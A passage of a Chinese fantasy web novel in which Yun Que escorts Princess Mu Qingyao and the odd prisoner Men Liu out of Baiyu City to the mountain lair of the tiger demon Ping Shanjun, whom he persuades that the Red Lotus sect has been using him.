“也好,兵就该有个兵的样子,你们不错,知道自己的职责,将来肯定能被将军器重,不像那群饭桶,见到酒就忘了娘。” 说着梅钱背着手走进昏暗的城门洞,随后发出一声惊咦。 “你们过来瞧瞧,城门怎么裂开个洞?” 两名军兵一听,立刻谨慎起来,跟着走进城门洞。 “哪呢?” 其中一人沉声询问,另一人抽出腰刀防备。 “就在这。” 梅钱抬手看样子想要指点,但随后手中多出了双刀。 噗!噗! 两道闷响过后,两名军兵的心窝同时被长刀贯穿。 一人立刻毙命,另一人还剩一口气吊着,死死抓着梅钱的手。 “你敢残杀同僚!” 声音虚弱,惊恐中带着愤恨与质疑。 梅钱冷冷一笑,道: “百玉城守军一千五百零八人,我全都认得,其中没有你们两个,杀掉两个并不存在的同僚,谁又能知道呢。” 咔嚓! 长刀轻轻一转,就此搅碎了对方的心脉。 这时人影晃动,云缺带着牧青瑶与门六来到近前。 梅钱收起双刀,道:“出城费,一百二十五两,欠的账两清。” “你又没开门,要这么贵?”云缺怒道。 梅钱指了指地上的两具尸体。 “红莲教的人?”云缺道。 梅钱这家伙向来做事谨慎,杀掉同僚的事,他轻易不会做,所以云缺才有此一问。 “不清楚身份,反正不是守军。”梅钱道。 “行,欠的账两清。” 云缺说完就要出城,结果被梅钱拉住,拽到一边。 “回来的时候,我扫听了一下,地牢最深处关押的那家伙是个杀人犯,有些年头了,好像从前朝就关在里面,具体身份没人知道,用完了直接处理掉。”梅钱低声道。 “我有分寸。” 云缺点头道。 门六在前,云缺和牧青瑶各自抓着门六一个肩膀,三人步伐一致走向城门。 越接近城门,牧青瑶越紧张。 这种穿门而过的现象,牧青瑶可没体会过,感觉不可思议。 暗淡的流光涌动间,门六当先走进城门,云缺与牧青瑶紧随也消失了身影。 见三人果然能穿门离开,梅钱长长的呼出一口气。 他取出一个小瓷瓶,在两具尸体上洒落一层药粉,很快尸体便融化成血水。 毁尸灭迹后,梅钱迈着方步回到火堆前,抢过一块肉,大吃起来。 …… 城外。 牧青瑶眨了眨眼睛,面前是笔直的官路,两侧是无人的山林。 虽然只有一墙之隔,但百玉城外的空气都仿佛是新鲜的,是自由的。 逃出生天! 门六显得十分兴奋,刚要跑出去,一把被云缺抓住。 三人贴着城墙。 云缺仰着头,盯着城墙上的火光。 不仅城门有守卫,城墙上也有守军值夜。 如果就这么跑出去,肯定会被发现。 “走这边。” 云缺低声说完,沿着城墙左侧挪动。 门六与牧青瑶也学着云缺的模样,一点点往旁边挪。 当远离城门区域,三人这才钻进树林,彻底消失了踪迹。 确认没有人追踪,云缺这才放松下来。 终于甩开了红莲教。 这时已经天光放亮,不远处有一条清澈的小溪。 牧青瑶跑过去,洗了洗脸。 见水中有小鱼游动,还兴致勃勃地捞了几下,结果一条也没捞到。 云缺能看得出对方心情不错。 “自己就是鱼,还想要捞别的鱼,你不觉得你和小鱼同病相怜么。” 云缺没好气的道。 百玉城危机,直接带着门六离开才是最安全的办法。 在城里转了一大圈,危险程度将百倍增加,幸好最后有惊无险,如果被红莲教的高手围攻,再加上负易出手,后果不堪设想。 牧青瑶摘下一朵蓝色小花,举在自己鼻尖处,天真的道: “我像不像花儿。” 云缺一阵无语。 确实像,而且比花儿还美。 牧青瑶的笑容十分灿烂,在朝霞映照下,美得不可方物。 “九转灵花是打造伏妖阵的必备之物,有了伏妖阵,可保一城百姓平安,你知道吗云缺,我觉得今晚,自己就是一朵九转灵花,我也能保护一城百姓。” 牧青瑶含情脉脉的轻声道:“谢谢你,让我做了一夜灵花。” 面对善良又美丽的小郡主,云缺还能说什么呢。 只能咬咬牙,道:“今晚算加班,至少二百两!” 牧青瑶听得掩嘴轻笑,连连点头。 云缺转头看了眼门六。 这家伙趴在小溪旁喝起个没完,肚子都鼓了,还在喝,也不知多久没喝水了。 对方的举动,让云缺有些疑惑。 门六看起来不像个正常人,即便几天没喝水,也不会这么个喝法儿,如果不打断,这位都容易被撑死。 把门六拎起来,云缺问道: “喝够了没有。” “啊?够了够了!太久没喝水了,真好喝呀。”门六一脸痴迷,好像那溪水是什么美味佳肴。 “你是哪里的人,怎么关进的地牢。”云缺道。 “我?” 门六的目光变得迷茫起来,想了想道:“我住城里,是个厨子,杀了人被关进地牢,年头太久,当年的事记不清了。” 从梅钱处得到的消息,门六从前朝就被关在地牢,算算时间至少十五年以上,的确年头够久。 “给你两条路。” 云缺冷漠的道:“第一条路,跟我走,半年后你可以重获自由,第二条路,埋在这里,半年后坟头也许会开花。” “我跟你走!”门六立刻做出最正确的选择。 三人重新上路。 穿过密林,回归一条小路后,牧青瑶终于辨认出方向。 这不是去天祈城的路,而是返回藏石镇的路。 “折返藏石镇,是个好办法,没人能想到我们会回到终点。”牧青瑶道。 “不回藏石镇,带你去个好地方。”云缺道。 “我们去哪儿?”牧青瑶好奇道。 云缺笑容古怪的道:“浮萍山。” 第34章 烤着吃 浮萍山,位于知远县西侧,与藏石镇相隔数百里。 浮萍山险峻而奇特。 山顶树木茂密一片翠绿,山体重岩叠嶂寸草不生,若逢雨天,朦朦胧胧的远远望去好似一片翠绿浮萍飘浮半空。 浮萍山有路。 一条羊肠小径,盘山而上,一侧是岩石山体,一侧是万丈深渊。 别看有路,却没人走。 浮萍山附近是大片森林,林中虎豹成群。 别说活人,狼群来了都得成为盘中餐。 浮萍山的山顶,修建着一处宽敞院落,院子里栽种着名贵花草。 大屋更是气派,房顶比寻常宅院高出一倍,用料考究,屋内摆设古香古色,屏风字画应有尽有,不知道的还以为这里是一处豪门别院。 屋子里摆着长长的桌案,桌上铺着宣纸,一只毛茸茸的大手正提着一杆特大号的毛笔在写字。 写字的手,龙飞凤舞。 写出的字,歪歪扭扭。 很快落笔,纸上是一个七扭八歪,需要辨认良久才能认得出来的‘吃’字。 “吃,还是不吃呢……” 写字者发出一声纠结自语,扔掉毛笔,在屋子里走来走去。 每走一步地面都跟着震颤一下。 尽管是人形,脖子上却顶着一颗硕大的虎头,额头有一挫白毛,好似多了只眼睛,看起来凶神恶煞。 萍山君正在为难。 为难着剩下的一颗血煞丹。 红莲教给的定钱,是两枚血煞丹,回来它就吃了一枚。 不过第二枚,它始终在犹豫。 因为当时答应了云缺要扔一枚,说是扔,其实就是分人家一枚。 散发着阵阵血腥气的灵丹,就摆在桌案上,萍山君已经盯着一整天了。 丹药有着强烈的血煞气息,对它这种七阶妖族来说是大补之物。 吃一枚,自身修为即可增长一些。 血煞丹对萍山君有着强烈的吸引力,可一想起云缺那家伙,萍山君就没了胃口。 “云缺那家伙怎么会横插一手?要不是他,本王怎能就得到两枚血煞丹,红莲教出手可大方得很呐。” 一想起云缺,萍山君就觉得自己的腿肚子在隐隐作疼。 几天前的那一刀,砍得可够深的,骨头差点被砍断。 萍山君懊恼起来,一把抓起血煞丹,怒道: “老子就吃了能怎样!大不了搬家,我看你姓云的去哪找我!” 说是要吃,可萍山君最后还是没往嘴里送。 作为老邻居,它对云缺的了解远超旁人,知道对方是个说一不二的主儿。 既然答应了分人家一枚血煞丹,这要是吃掉,没准会被云缺追着砍一年。 想起另一个邻居无声无息的消失,萍山君的虎眼中泛起深深忌惮。 冷哼一声,又把血煞丹放回了原位。 这时一头瘦小的老虎跳进屋子,嗷呜嗷呜乱叫,一边叫一边往山下的方向看。 萍山君的虎头变得高兴起来,道: “山下来了三个人?好哇!三个人等同三盘菜,什么,他们自己往上走?那更好了,等他们爬到山顶,活动开筋骨气血,吃起来更有嚼头儿。” 嗷呜嗷呜! 瘦小的老虎摇头摆尾,看表情好像很着急的样子。 这是头九阶虎妖,不会人言,单纯以虎类叫声沟通的话,只能大致表达出意思,无法准确描绘出想要诉说的东西。 “滚蛋!本王正憋着口闷气,三个我全吃,没你们的份儿!” 萍山君认为瘦老虎在乞食,抬起大脚直接将对方踢出屋子。 在浮萍山方圆百里之内,它萍山君才是真正的王。 “怎么吃好呢……有了,烤着吃!” 萍山君胃口大开。 亲手在院子里弄了个火堆,把两个从山下掠来的兵器架子当做烧烤架,又准备三杆纯铁的长枪当签子,准备来一顿烤活人。 萍山君兴致勃勃翻找出许久没用的各种调料。 油盐酱醋,辣子麻椒,整整齐齐在火堆前摆了一排。 随后萍山君搬了把椅子,悠哉悠哉的坐在火堆前等着美味上门。 被踢的瘦老虎愈发焦急,上蹿下跳,却不敢接近萍山君,生怕再被踢。 它一会儿钻出院子,到山顶往下看,一会儿又跑进来嗷呜乱叫,几次往返后,攀山者终于走到了山顶。 见三人上来了,瘦老虎干脆倒在墙角,肚皮朝上,一动不动的装死。 萍山君这才发现瘦老虎的古怪。 等它朝门口看去的时候,立刻变得目光呆滞,怔在原地。 “呦呵,准备得挺齐全呐,连调料都有,这是准备烤什么呢。” 云缺笑呵呵的走进院子,站在火堆前好奇的说道。 跟在云缺身后的,是牧青瑶与门六。 牧青瑶一身白色裙衣,落落大方,虎妖当面也没有丝毫慌乱,俏脸上挂着浅浅的微笑。 门六则眼神木讷,张着嘴巴盯着对面虎头人身的萍山君说不出话来。 路上他只知道云缺要去见一位老邻居,他可不知道是一头虎妖。 “哈、哈哈。” 萍山君尴尬的笑了两声,心说烤什么?我准备烤你们啊,谁知道来的是你这个要命的家伙。 “烤那个……” 萍山君一眼看到墙角装死的瘦老虎,指向对方道:“烤全虎!知道你要来,自然要招待一番。” “烤老虎好哇,老虎肉最有嚼头儿,有阵子没吃了,这就开始烤吧。” 云缺一点不客气,大马金刀的坐在火堆前等着开饭。 这下那只瘦老虎受不了了,爬起来就跑,快如一阵旋风般逃出院子。 它本来是给大王送信的。 猎妖人来了,整个浮萍山附近的低阶虎妖全吓得四散奔逃,不料大王没听懂,还自顾自的烧起火来。 在瘦老虎看来,自家大王这是准备引火自焚呢。 瘦老虎跑后,门六终于回过神儿来,扯着嗓子大喊道: “老虎精啊!” 这下萍山君不爱听了。 身为妖邪,萍山君最厌恶别人称呼它老虎妖啊老虎精啊之类的,如果喊一句虎王,它还能高兴点。 瞄着门六,萍山君阴森道:“这个能不能吃?” 牧青瑶它不敢打主意了,知道有云缺护着,但门六是个生面孔。 在萍山君眼里,但凡生面孔,都能填肚子。 就在牧青瑶和门六都觉得萍山君的询问实在无礼之际,云缺开口道: “你开个价,价钱合适的话,让你尝尝也行。” 门六差点把自己舌头给咬了,连忙求饶道: “我不好吃!十几年都没洗澡了,味道肯定不咋地,我会做吃的!我是厨子来着,想吃什么我来弄!保证大家满意!” 萍山君冷哼道:“厨子能做出什么好东西,本王现在就想吃厨子!” 门六欲哭无泪。 他没想到自己当了多年厨子,有一天客人会点厨子这道菜。 “行了,说点正事儿,我那枚血煞丹呢。”云缺道。 “早准备好了,就等着你来拿了。” 萍山君回屋把桌子上的丹药拿出来交给云缺,显得很是大方。 云缺把玩着丹药,笑道: “品相不错,红莲教出手够大方的。” “不大方,他们能请得动本王吗!”萍山君自傲道,早忘了被云缺追着砍时的狼狈模样。 收起丹药,云缺问道: “你和红莲教的人很熟么,他们到底是什么来路。” “不熟,我也是最近才听说过红莲教,他们当中一个护法找上门,许诺好处,请我出手,我见他们给的东西足够分量,这才下山,早知道郡主是你云缺的朋友,这买卖本王肯定不接啊,毕竟咱们才是好邻居。” 萍山君皮笑肉不笑的道。 “这样啊,我还以为你知道红莲教的底细呢。”云缺失望道。 “底细不清楚,不过找我的那个护法修为不弱,当时他提及了红莲教的教主,说是一位四品强者。”萍山君道。 听闻这个消息,云缺的眉峰不着痕迹的皱了皱。 四品! 以云缺现在的八品境界,足足相差四个大境界! 人家若是现身,随手就能捏死一大片八品武夫。 牧青瑶的神色也随之凝重许多,倒是门六可能对四品没什么概念,还沉浸在对虎头妖人的震惊当中。 “红莲教,到底许给你什么好处。”云缺问道。 萍山君沉默半晌,几乎是咬牙切齿的道出三个字: “化形丹!” 妖族分九阶,对应着人族修士的九品境界。 萍山君这种七阶妖族,尽管神智大开能口吐人言,却无法完全转化为人身。 仅仅能将躯体变化为人形,样貌是无法改变的,尤其头部,始终是原始模样。 虎妖是人身虎头,狼妖是人身狼头,猪妖是人身猪头,除非拥有特殊幻术天赋的妖族,才能在低阶境界的时候将本体幻化为人。 妖族想要完全转化为人身,要达到极高的等阶才行,萍山君还差着太远。 有了真正的人身,就能与人族修士交易,获取更多的资源与消息。 无法化形的妖族,就像个生活在深山里的野人,梦想着有一天能大摇大摆走进各大城镇。 最重要的一点。 有了完整的人身,妖族的修炼速度将会变得更快! 而化形丹的存在,完美解决了低阶妖族无法转化人身的难题。 化形丹,化妖身为人形,是天价的极品灵丹,可遇而不可求。 得知红莲教许诺的好处,云缺忽然嗤笑了一声,摇头道: “老邻居啊,你可够蠢的,你被人家当傻子耍呢!” 第35章 训狗 当着萍山君的面,骂人家是傻子,云缺这话一出,旁边的门六脸都青了。 即便稳重的牧青瑶,此刻也紧张起来。 毕竟对方是七阶虎妖,又不是寻常的邻居,妖族大多是喜怒无常的,翻脸就会动手。 出乎两人预料的是,萍山君非但不恼,反而额头的白毛挤在一起,看起来像在皱眉似的。 “耍我?不至于吧,两枚血煞丹可是实实在在的好处。”萍山君道。 “你养没养过狗。”云缺道。 “没养过,那玩意不是用来吃的么,养它做什么。”萍山君道。 “那你懂不懂如何训狗。”云缺道。 “打呗,不听话就打,打到听话为止,多简单,再不听话就烤了吃。”萍山君道。 “我给你讲讲如何训狗,打没用,想要一条狗听话,需要食物才行,先拿一根骨头,让狗做出你需要的举动,比如去抓只野猫,就把骨头当做奖励,几次下来,只要你拿出骨头,狗就会跑出去抓猫。”云缺道。 “这倒是个好办法,我如果用骨头做奖励,让狗抓耗子也行啊。”萍山君道。 “没错,训狗就是如此简单,只要有足够的奖励,狗会对你言听计从,绝对听话。”云缺道。 “听起来有点意思,改天我也弄只狗妖耍耍……咱们说的是我因何被耍,你讲训狗做什么?”萍山君道。 “别急,我还没说完狗的事呢,你想想看,当你按照奖励骨头的方式训好一条捡来的野狗,有一天你拿出一头香喷喷的烤乳猪,让野狗去把邻居家的牛抓回来,你猜狗会不会去抓呢。”云缺道。 “肯定会呀!骨头才几块肉,烤猪多香!”萍山君道。 “狗也这么想的,它去邻居家咬死一头老黄牛将其拖了回来,然后等着奖励,那么你这个主人,该怎么做呢。”云缺道。 “当然是给狗吃烤猪啊!”萍山君道。 “先别急着喂狗,你那邻居不比你弱,他没在家,等回来发现牛没了肯定来找,动手的话,最好的结果就是同归于尽,而那头烤乳猪的价值够买一百条狗,你这个主人,还想喂狗么。”云缺道。 萍山君仔细想了想,道: “那还喂个屁呀!我自己吃了烤猪,把死牛切成块拿出去换钱,再把狗打死给邻居交差,就说狗发疯咬了牛,牛不知跑哪去了,反正狗已经死掉,死无对证!我省了烤猪,又白得一头牛,只搭上一条狗而已!” 云缺笑了起来,笑得萍山君莫名其妙。 一旁的门六还在掰着手指头算计着这番买卖到底谁赚,牧青瑶早已洞察了故事的寓意,对云缺投去赞许目光。 云缺摆了摆手,道: “你忘了,野狗是你捡来的,你真正付出的东西,只有几块用来训狗的骨头而已,红莲教付出的,也只是两粒血煞丹,你觉得七阶妖族的价值高,还是一粒化形丹的价值高呢。” 萍山君愣在原地。 好半晌之后,它勃然大怒,发出一声震天虎吼,啸声产生的波动将旁边的火堆险些吹灭。 “红莲教!居然拿本王当狗!” 萍山君的心智尽管比不得云缺这种聪明人,但它只要比较一下即可得出一个结论。 即便最后能杀掉郡主,红莲教也不会给出一粒化形丹的。 因为化形丹的价值,上千头七阶妖兽加在一起也比不过! 红莲教给萍山君画了一张香喷喷的大饼,并且用两粒血煞丹当做开胃菜迷惑住萍山君,让其奔波卖命,简直与训狗的手段一般无二。 吼完之后,萍山君只觉得一阵后怕。 它没杀掉郡主还好,毕竟没白忙活,有两粒血煞丹到手。 这要当真杀掉了灵芸郡主,它萍山君的处境就与故事中的野狗一样,被主人打死,用来背黑锅。 红莲教只要将郡主之死全推在萍山君身上,即可抽身事外。 收起獠牙,萍山君看向云缺的目光充满感激,道: “幸亏有你这位老邻居,要不然本王非得被人坑死不可!红莲教这帮孙子欺人太甚,本王早晚把他们都吃光!” 这次萍山君是发自内心的感激云缺。 要不是云缺守护着灵芸郡主,等它带着郡主去找红莲教换取化形丹的时候,就是它萍山君的死期! 这时那只瘦老虎又返了回来,叼着一头刚咬死的野猪,放在火堆旁。 看意思,是给大王准备食材。 不过这家伙走路始终溜边。 “正好饿了,吃烤猪!”云缺搓着手道。 瘦老虎一听立刻显得轻松不少,像只老猫似的低声呜咽两声,好像在赞同似的。 牧青瑶第一次见到一头虎妖,会对人族产生如此畏惧的情绪,惊奇之余又觉得实在好笑。 瘦老虎其实并不瘦。 只是相比威猛的萍山君来说瘦小许多,体态与普通老虎相仿。 虎乃百兽之王,虎妖更是极凶,可在牧青瑶看来,那只瘦老虎在云缺面前,就差没去抓只老鼠把自己伪装成猫了。 哪还有半点虎威,简直成了一只大号儿的猫儿。 听说云缺要吃烤猪,门六急忙毛遂自荐道: “我来!大家尝尝我的手艺!” 不多时,门六将野猪收拾好,架上火堆撒上香料,烤得外酥里嫩,肉香四溢。 萍山君撕下一条猪腿,一口咬掉一半,一边嚼一边挑起大拇指。 “香!” 云缺切了块小些的烤肉,递给牧青瑶。 野外烤肉,没什么餐具,吃起来不可能文雅,牧青瑶满不在乎,直接抓过来开吃,吃得满手是油,连嘴角都沾着一层油渍。 “这可不像郡主的吃法儿。”云缺笑道。 “入乡随俗。”牧青瑶道。 到了虎妖的地盘,自然得吃的狂野一些,如果这种时候还要碗筷,还文质彬彬的进食,反而是一种失礼。 萍山君对牧青瑶的吃法儿相当满意,略带歉意的道: “实在对不住啊郡主,我被那红莲教蒙蔽,一时脑子发热,只想着化形丹,差点吃了你,你放心!从今以后,你随时都能来我的浮萍山!不用带着云缺,你自己到了我一样好酒好菜好招待!” 牧青瑶豪气的拱手道:“不打不相识,今后我肯定会来做客。” “这就对了!哈哈,本王就喜欢爽快的,别的女人婆婆妈妈磨磨唧唧,烦死个人,还是郡主够爽快!” 萍山君大笑,朝着墙角的瘦老虎道:“去把本王的好酒拿出来!” 瘦老虎连忙跑去后院,不多时叼着个大酒桶回来。 打开盖子,酒香四溢。 云缺尝了口,赞道:“果然是好酒,哪弄的?” “半年前在乌鸡镇抢的!被那两只杂毛鸡叨了好几口,虎毛都掉了一层!这就是你云缺,别人来了我才不拿出来呢!”萍山君豪迈道。 “乌鸡镇的酒你也敢抢,够胆量!”云缺道。 “抢完就跑呗,杂毛鸡出不来,追不到本王哈哈!”萍山君道。 牧青瑶听得好奇,问道:“乌鸡镇的鸡,难道连萍山君都要避之不及?” “区区两只七阶野鸡而已,惹急了本王,把那两只杂毛鸡炖鸡汤!”萍山君傲气道。 “没准是炖虎汤呢,你真能斗得过两只龙尾雉?”云缺嘲笑道。 “呃……这不是有你云缺嘛,咱俩联手肯定斗得过!”萍山君心虚的道。 “七阶巅峰妖兽龙尾雉!”牧青瑶惊疑道:“乌鸡镇难道养着妖兽?” 灵芸郡主博学多识,对妖族了解不少,听闻云缺道出的龙尾雉,立刻想起这种妖兽的恐怖之处。 据典籍记载, 龙尾雉是七阶妖族中位列顶峰的存在,几乎没有任何七阶妖兽是其对手,七品人族修士对其无不头疼。 “乌鸡镇的确养妖,这是他们的习俗,所以当初我才建议你走百玉城。”云缺道。 牧青瑶闻言轻蹙秀眉。 天下妖邪繁多,杀都杀不过来,居然还有人在刻意养妖。 见牧青瑶疑惑不解,云缺解释道: “乌鸡镇出产血玉,那玩意在皇城应该挺受追捧,价值连城,只要出一块,知远县府衙上上下下都有好处可拿,加上乌鸡镇附近没什么妖邪作乱的现象,衙门那边也就睁一只眼闭一只眼了。” “原来血玉的产地,是乌鸡镇,学宫里不少学子都酷爱血玉,不惜高价收购,甚至以拥有一块血玉为荣,将其当做财力雄厚的象征。”牧青瑶道。 这番话引来萍山君的一阵大笑。 “都说人族聪明,要我看呐,人族里面傻瓜更多哈哈哈!拿着同类的血当宝贝,也就你们人族才干得出来这种傻事哈哈!” 萍山君的笑声,令牧青瑶愈发不解。 “人血?”牧青瑶奇怪道。 云缺呵了一声,道: “是啊,血玉里的血,其实大部分是人血,龙尾雉这种妖兽,只有吃掉活人的时候,才会产蛋,有机会在蛋中形成血玉,看着像宝贝,其实是妖兽将没有吸收的人血排除出身体的一种方式罢了。” 闻听此言,牧青瑶手里的烤肉再也无法入口。 一种恶心与愤怒交汇的情绪,在小郡主心里滋生。 牧青瑶见过血玉。 血玉极美,晶莹剔透宛若宝石。 可谁又知道,那么美丽的血玉,被无数人奉为宝贝的血玉,竟来得如此血腥,如此残忍! 第36章 行妖令 牧青瑶的心情变得沉重起来。 “乌鸡镇归属知远县管辖,他们以活人喂养妖兽,难道衙门也敢纵容。”牧青瑶蹙眉道。 “乌鸡镇里有个乌家寨,其实整个乌鸡镇都是围绕乌家寨建起来的,乌家擅长养妖,用来喂妖的活人,也是乌家的人,人家用自家人喂养妖兽,外人怎么管,民不举官不究,衙门才懒得去多管闲事。” 云缺一句道破玄机。 牧青瑶这才知道事情的原委。 即便小郡主如何愤怒,此时只剩下无可奈何。 在大晋地界,有数不胜数的家族存在。 很多时候这些家族的家法甚至凌驾在皇朝律法之上,只要不是叛国之罪,各大家族自行处置自家人,连衙门也没资格去插手。 尤其在偏远地带,一些大型家族相当于一个小国一样,家主就是土皇帝。 家主的话,等同于圣旨。 其实这一点牧青瑶已经领教过了,在大石村,村长的话比知县的命令还管用。 吃饱肚子后,云缺擦了擦手,道: “该说正事儿了,我这次来,是想请你这位老邻居出山。” “请我出山?去哪?”萍山君狐疑道。 “去天祈。”云缺指了指牧青瑶,道:“跟我一起,护送灵芸郡主回皇城。” 萍山君愣了一下,接着把硕大的虎头摇成了拨浪鼓。 “不去!本王在浮萍山住得好好的,有酒有肉,我才不出门呢!” 萍山君又不傻。 护送郡主就要面对红莲教,人家红莲教的教主可是四品强者,一只手就能捏死它这头七阶虎妖。 到时候郡主能不能回到皇城,萍山君不知道,它只知道自己要是答应了,很容易变成烤全虎。 “别拒绝得那么快嘛,凡事好商量,有我在,你怕什么。”云缺道。 “没得商量!你要是能砍死红莲教那个四品的教主,我就跟你走,要不然没门!”萍山君道。 “能砍死四品,我还来找你干什么。” 云缺叹了口气,道:“实不相瞒,这一路返回皇城必定危机不断,若有你萍山君相助,我们就能走一些险峻的路线,可以绕开不少城池,相对少了许多危险。” 云缺说的是实话。 来浮萍山,也是这个目的。 到天祈皇城的路线实在太少,而且所经的城池繁多,路上必定被红莲教布下层层陷阱。 若能绕开大部分城池,那么红莲教许多的手段就白费了。 然而绕开城池,最大的难点在于险峻的环境,路上少不了悬崖绝壁。 云缺一个人好办,加上牧青瑶就难了。 毕竟云缺只是个八品武夫,有的悬崖他自己爬都十分危险,带着小郡主根本走不了。 不过萍山君可是虎妖! 以萍山君的虎妖本体,绝大部分险地都能如履平地,即便载着人也能轻易通过。 “不去!被你砍的腿伤还没好呢,我走不了路,哪也不去!”萍山君咬死了不松口。 “当然不会让你白忙,听听好处再拒绝也不晚。”云缺说完看了眼牧青瑶。 那意思是我尽力了,接下来能不能拉拢萍山君,就看你灵芸郡主能出多大的报酬了。 牧青瑶沉吟稍许,道: “我只是个普通郡主,没有修为,也没有多少权利,给不出化形丹那等异宝,我只能尽我最大的能力和诚意,若萍山君肯护送我回皇城,我可以为你向陛下求一枚行妖令。” 听闻行妖令三个字,萍山君硕大的虎目骤然缩紧,喉咙里发出低沉吼声。 行妖令不是化形丹,只是一块普普通通的令牌,但这块令牌有着一个特殊的用处。 持有行妖令的妖族,除了伏妖阵笼罩的三座大城之外,可在晋国之内的所有城镇畅通无阻! 说白了,行妖令就是大晋国发放给妖族的一个身份令牌。 只要持有行妖令的妖族不再继续吃人作乱,即便在城里买个院子长住都没问题,各处衙门也不敢找麻烦。 行妖令在大晋国发放过多次,并非首例。 不过行妖令这种东西,在前朝燕国是绝对没有的。 这也是大晋与大燕在对待妖族上,不同的作风。 大燕王朝,对妖族实行斩尽杀绝的举措,只要发现妖物,不惜代价也要斩草除根。 大晋则多以驱逐为主,兼以怀柔,甚至是诏安。 从两处王朝对待妖族的不同,亦可看出两大王朝的强弱。 如今的大晋,在武力上远远不及大燕。 若非燕国耗尽气运,皇帝与司天监高手尽数战死,否则别说一个大晋,即便十个大晋也未必是大燕王朝的对手。 “行妖令……” 萍山君嘀咕着这块令牌,有点心动了。 低阶妖族希望得到化形丹,不就是为了融入人族世界么。 行妖令虽然无法让萍山君真正化形,却能让他拥有在人族城镇随意行走的资格,无需担心被晋国皇朝的高手击杀。 “这事儿,我得考虑考虑,你们不急的话,先在浮萍山玩两天,我这里景致不错。”萍山君道。 “正有此意,你慢慢考虑。” 云缺就像回到自家一样,给牧青瑶安排了住处。 反正萍山君这里好几间空屋子,住三个人绰绰有余。 牧青瑶住在云缺隔壁,就隔着一面木头墙。 “我睡隔壁,有事儿喊我就行。”云缺道。 “我长这么大,还是第一次住在妖族洞府。”牧青瑶新奇的打量四周,摆设和大户人家没有差别。 “是不是有一种睡着睡着就被吃了的感觉。”云缺打趣道。 “我不怕,有你呢。”牧青瑶微笑道。 “放心吧,萍山君算是有信誉的,说话一般都会算数,比很多人族强多了,妖心其实简单得多,远远没有人心那么复杂。”云缺不无感慨的道。 如果非得选择,云缺宁愿与妖族打交道,也不喜欢与人打交道。 因为与妖打交道简单,拿刀说话就行。 与人打交道,不需要拿刀,却要拿着更为复杂的东西,比如虚伪,比如矫饰,比如尔虞我诈,比如勾心斗角,比如互相利用。 “你读的书不多,但你懂得的道理,比很多人都多。”牧青瑶轻声道。 “郡主又说错了,我读的书可不少哦,藏石镇衙门里的书我都看过,尤其马小脚珍藏的那几本,看完后如拨云见日醍醐灌顶,让人豁然开朗!”云缺说着的时候,下意识的咽了下口水。 “到底是何等奇书,有机会我也想拜读一二,写的是什么内容?” 牧青瑶眨着清澈的眼睛,一副求学若渴的神采。 “呃……讲的是生命之初,轮回之始,总之玄奥得很,以后有机会让你也开开眼呵呵。”云缺有点尴尬的笑道。 马小脚珍藏的那些书,根本就没有字,全是图。 当晚,萍山君找到云缺。 “你给我个实话,这次送郡主回皇城,你有几分把握,红莲教可不好对付!”萍山君低声问道。 “五成把握,你要是帮忙,我有七成把握成功,只要郡主进了皇城就万事大吉。”云缺道。 “七成把握……你没唬我吧?老邻居了,你可别坑我。”萍山君咬着硕大的虎牙道。 “坑你作甚,我的能耐你又不是不知道,顺便告诉你个消息,离开小石村的时候,遇见了两个红莲教护法,一个左白一个右黑,都是七阶修士,他们俩如果速度够快的话,现在应该已经投胎了。”云缺道。 萍山君愣怔了一下,没有过多惊讶。 其他八品武者如果说自己能斩杀两名七阶高手,萍山君打死都不信。 但这话从云缺口中说出来,萍山君坚信不疑。 “就怕那个四品教主出手,四品呐,我们肯定挡不住!”萍山君担忧道。 “你看到教主模样了么,人家说四品你就信呐,我还说我有个二舅是一品武夫呢。” 云缺冷笑道: “即便红莲教高手众多,但这里是大晋的地界,皇城里高手无数,他们都不出门么,司天监的人天天窝在皇城里睡大觉么,越接近皇城,我们虽然越危险,相对的,找到帮手的机会也越大,哪怕一个帮手也找不到,别忘了灵芸郡主的亲爹可是手握八十万边军的阜南王!” 萍山君咂摸了半天,觉得云缺说的这番话不无道理。 它没有立刻答应,说着回去再考虑考虑,不过云缺已经料定这头虎妖肯定动心了。 等萍山君走后,云缺无奈的自语道: “我只有两成把握,加上你萍山君不过三成把握而已,谁让你是我的老邻居呢,不坑你坑谁呀。” 浮萍山远离尘嚣,十分安静,夜晚除了虫鸣再无杂音。 云缺和牧青瑶休息得都很好,连门六也睡得很香。 半夜的时候,门六口渴,迷迷糊糊的起来找水喝。 屋子里没有,他连眼睛都没睁直接穿过木门,晃晃悠悠夜游一样来到后院。 萍山君最喜欢学人族,家里的摆设也一样,人族庄园那一套,它这里应有尽有,后院还有一处小池塘,用的是一处泉眼。 “水……水……” 门六闻着味道到了池塘边,趴着就喝,跟只野兽似的。 “好喝的山泉水,真甜啊……” 喝着喝着,门六迷迷糊糊跌进池塘里,再无动静。 第37章 宰了老的卖了小的 天亮后,云缺精神抖擞。 出门先抻了个懒腰,浑身筋骨舒展开来,噼啪作响。 天气不错, 云缺带着牧青瑶在山顶转了转。 浮萍山景色很美,能眺望到极远的地方。 “大自然的景色,总会让人心旷神怡。” 牧青瑶感叹道:“若天下安泰,我会找一处这种景色秀美的无人之地,蓝天白云为伴,碧草清风相随。” 云缺眺望着远处,点头道: “的确是个好地方,有山有水,风水不错,适合做坟。” 两人并肩站在山顶。 一个幻想着未来的闲暇时光,一个考虑着死后的入土为安,竟有一种怪异的默契。 尽管两人想象的景象不同,但两人都十分清楚一件事。 接下来的路,将会越来越难走。 转到后院的时候,看到小小的池塘里浮着个人。 “门六?” 云缺诧异道。 看架势,这位在水里泡了大半宿,估计早没气儿了。 云缺想不通门六怎么会在池塘里,下去将对方捞了上来。 上岸后,发现门六还有气儿,居然没死。 叫了两声没有回应,云缺抡起巴掌左右开弓。 一顿嘴巴,终于把门六给扇清醒了。 “怎么啦!下冰雹了吗噼里啪啦的!” 门六醒来后只觉得脸上火辣辣的疼,一摸肿起老高。 “你怎么掉进池塘里?”云缺问道。 “是吗!” 门六摸了摸自己湿透的衣服,恍然道:“半夜口渴,来找水喝,喝着喝着又睡着了,我没事,水喝太多我得回去躺会儿了。” 说着门六挺着个大肚子,晃晃悠悠往回走,看样子昨晚没少喝。 望着对方的背影,云缺的脸上泛起疑色。 “门六应该会水,否则普通人定然得淹死。”牧青瑶道。 “他会不会水,不清楚,但这家伙是真能喝啊。”云缺蹲在池塘边,指了指脚下。 牧青瑶仔细看去。 发现池塘侧边的泥土呈现出两种不同的颜色。 这种情况只能预示着一点。 池塘的水,在短时间内下降了! 从泥土的颜色能分辨出,原本小池塘的水是满的,现在还剩一半。 